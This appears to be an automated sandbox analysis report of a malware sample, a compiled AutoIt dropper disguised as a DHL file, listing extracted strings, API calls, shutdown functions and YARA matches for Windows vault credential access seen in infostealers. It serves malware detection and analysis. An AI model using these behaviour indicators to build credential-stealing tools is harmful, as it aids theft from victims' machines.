memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_3d855a57-0
Source: DHL8900067.exe, 0000000F.00000002.3637971020.00000000009B2000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_39b71791-c
Source: DHL8900067.exe, 0000000F.00000002.3637971020.00000000009B2000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_7baab29e-1
Source: 24sBT3Cffz.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ce95c7db-0
Source: 24sBT3Cffz.exe	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_273867e0-e
Source: DHL8900067.exe.0.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_db3f1704-0
Source: DHL8900067.exe.0.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_18cffee7-a

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A83170 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	0_2_00A83170
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B1A2D7 NtdllDialogWndProc_W,	0_2_00B1A2D7
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B187B2 NtdllDialogWndProc_W,CallWindowProcW,	0_2_00B187B2
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B18AAA NtdllDialogWndProc_W,	0_2_00B18AAA
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A98BA4 NtdllDialogWndProc_W,	0_2_00A98BA4
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B18B02 6FDEC580,6FDEC6F0,ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	0_2_00B18B02
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B18D0E PostMessageW,GetFocus,GetDlgCtrlID,NtdllDialogWndProc_W,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,	0_2_00B18D0E
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B18FC9 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	0_2_00B18FC9
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A990A7 NtdllDialogWndProc_W,	0_2_00A990A7
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B190A1 SendMessageW,NtdllDialogWndProc_W,	0_2_00B190A1
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A99052 NtdllDialogWndProc_W,	0_2_00A99052
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B1911E DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	0_2_00B1911E
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B19380 NtdllDialogWndProc_W,	0_2_00B19380
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B193CB NtdllDialogWndProc_W,	0_2_00B193CB
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B19400 ClientToScreen,6FDEC5D0,NtdllDialogWndProc_W,	0_2_00B19400
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B1953A GetWindowLongW,NtdllDialogWndProc_W,	0_2_00B1953A
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B19576 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,6FDECB00,6FDEC2F0,SetCapture,ClientToScreen,6FDEC530,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	0_2_00B19576
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A997C0 GetParent,NtdllDialogWndProc_W,	0_2_00A997C0
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A9997D NtdllDialogWndProc_W,GetSysColor,SetBkColor,74E0C8D0,NtdllDialogWndProc_W,	0_2_00A9997D
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B19EF3 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,	0_2_00B19EF3
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B19E74 NtdllDialogWndProc_W,	0_2_00B19E74
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B19F86 GetSystemMetrics,GetSystemMetrics,MoveWindow,SendMessageW,SendMessageW,ShowWindow,InvalidateRect,NtdllDialogWndProc_W,	0_2_00B19F86
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_008F3170 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	12_2_008F3170
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0098A2D7 NtdllDialogWndProc_W,	12_2_0098A2D7
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009887B2 NtdllDialogWndProc_W,CallWindowProcW,	12_2_009887B2
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00988AAA NtdllDialogWndProc_W,	12_2_00988AAA
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00908BA4 NtdllDialogWndProc_W,	12_2_00908BA4
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00988B02 6FDEC580,6FDEC6F0,ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	12_2_00988B02
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00988D0E PostMessageW,GetFocus,GetDlgCtrlID,NtdllDialogWndProc_W,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,	12_2_00988D0E
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00988FC9 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	12_2_00988FC9
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009090A7 NtdllDialogWndProc_W,	12_2_009090A7
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009890A1 SendMessageW,NtdllDialogWndProc_W,	12_2_009890A1
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00909052 NtdllDialogWndProc_W,	12_2_00909052
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0098911E DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	12_2_0098911E
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00989380 NtdllDialogWndProc_W,	12_2_00989380
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009893CB NtdllDialogWndProc_W,	12_2_009893CB
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00989400 ClientToScreen,6FDEC5D0,NtdllDialogWndProc_W,	12_2_00989400
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0098953A GetWindowLongW,NtdllDialogWndProc_W,	12_2_0098953A
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00989576 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,6FDECB00,6FDEC2F0,SetCapture,ClientToScreen,6FDEC530,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	12_2_00989576
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009097C0 GetParent,NtdllDialogWndProc_W,	12_2_009097C0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0090997D NtdllDialogWndProc_W,GetSysColor,SetBkColor,74E0C8D0,NtdllDialogWndProc_W,	12_2_0090997D
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00989EF3 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,	12_2_00989EF3
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00989E74 NtdllDialogWndProc_W,	12_2_00989E74
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00989F86 GetSystemMetrics,GetSystemMetrics,MoveWindow,SendMessageW,SendMessageW,ShowWindow,InvalidateRect,NtdllDialogWndProc_W,	12_2_00989F86

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AEE8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		0_2_00AEE8F6
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0095E8F6 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		12_2_0095E8F6

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A88060	0_2_00A88060
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AF2046	0_2_00AF2046
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AE8298	0_2_00AE8298
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00ABE4FF	0_2_00ABE4FF
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AB676B	0_2_00AB676B
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B14873	0_2_00B14873
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AACAA0	0_2_00AACAA0
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A8CAF0	0_2_00A8CAF0
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A9CC39	0_2_00A9CC39
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AB6DD9	0_2_00AB6DD9
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A9D063	0_2_00A9D063
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A891C0	0_2_00A891C0
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A9B119	0_2_00A9B119
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA1394	0_2_00AA1394
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA1706	0_2_00AA1706
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA781B	0_2_00AA781B
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA19B0	0_2_00AA19B0
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A87920	0_2_00A87920
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00A9997D	0_2_00A9997D
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA7A4A	0_2_00AA7A4A
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA7CA7	0_2_00AA7CA7
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA1C77	0_2_00AA1C77
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AB9EEE	0_2_00AB9EEE
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00B0BE44	0_2_00B0BE44
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_00AA1F32	0_2_00AA1F32
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: 0_2_021337B0	0_2_021337B0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0040CBE1	12_2_0040CBE1
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00962046	12_2_00962046
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_008F8060	12_2_008F8060
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00958298	12_2_00958298
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0092E4FF	12_2_0092E4FF
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0092676B	12_2_0092676B
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00984873	12_2_00984873
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0091CAA0	12_2_0091CAA0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_008FCAF0	12_2_008FCAF0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0090CC39	12_2_0090CC39
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00926DD9	12_2_00926DD9
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_008F91C0	12_2_008F91C0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0090B119	12_2_0090B119
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00911394	12_2_00911394
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00911706	12_2_00911706
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0091781B	12_2_0091781B
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_009119B0	12_2_009119B0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_008F7920	12_2_008F7920
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0090997D	12_2_0090997D
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00917A4A	12_2_00917A4A
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00917CA7	12_2_00917CA7
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00911C77	12_2_00911C77
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00929EEE	12_2_00929EEE
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0097BE44	12_2_0097BE44
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_00911F32	12_2_00911F32
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_040237B0	12_2_040237B0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0419B7D0	12_2_0419B7D0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_04193E60	12_2_04193E60
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_04194A78	12_2_04194A78
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0419EA88	12_2_0419EA88
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_0419AB48	12_2_0419AB48
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_041941A8	12_2_041941A8
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D551D0	12_2_09D551D0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D5C1B8	12_2_09D5C1B8
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D579B8	12_2_09D579B8
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D52358	12_2_09D52358
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D56220	12_2_09D56220
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D55920	12_2_09D55920
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D50040	12_2_09D50040
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D5E3E0	12_2_09D5E3E0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D572D8	12_2_09D572D8
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D5AE60	12_2_09D5AE60
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D5003E	12_2_09D5003E
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 12_2_09D50028	12_2_09D50028
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 14_2_007D37B0	14_2_007D37B0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_0040CBE1	15_2_0040CBE1
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_032D37B0	15_2_032D37B0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_03C7EA88	15_2_03C7EA88
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_03C7DA97	15_2_03C7DA97
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_03C74A78	15_2_03C74A78
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_03C73E60	15_2_03C73E60
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_03C741A8	15_2_03C741A8
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_097451D0	15_2_097451D0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_0974C1B8	15_2_0974C1B8
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_09743088	15_2_09743088
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_0974B260	15_2_0974B260
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_09746220	15_2_09746220
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_0974590F	15_2_0974590F
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_09742350	15_2_09742350
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_0974E3E0	15_2_0974E3E0
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: 15_2_097472D8	15_2_097472D8

Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: String function: 00A89CB3 appears 31 times
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: String function: 00A9F9F2 appears 40 times
Source: C:\Users\user\Desktop\24sBT3Cffz.exe	Code function: String function: 00AA0A30 appears 46 times
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: String function: 008F9CB3 appears 31 times
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: String function: 00910A30 appears 46 times
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: String function: 004075EE appears 36 times
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: String function: 00401EE0 appears 66 times
Source: C:\Users\user\AppData\Local\directory\DHL8900067.exe	Code function: String function: 0090F9F2 appears 40 times

Source: 24sBT3Cffz.exe, 00000000.00000002.2610202417.0000000000B54000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameflexuosely.exe4 vs 24sBT3Cffz.exe
Source: 24sBT3Cffz.exe	Binary or memory string: OriginalFilenameflexuosely.exe4 vs 24sBT3Cffz.exe

Source: 15.2.DHL8900067.exe.3a53658.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.3a40000.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.417058.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.DHL8900067.exe.3913658.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 15.2.DHL8900067.exe.3d10000.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.417058.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.4320000.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.DHL8900067.exe.417058.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
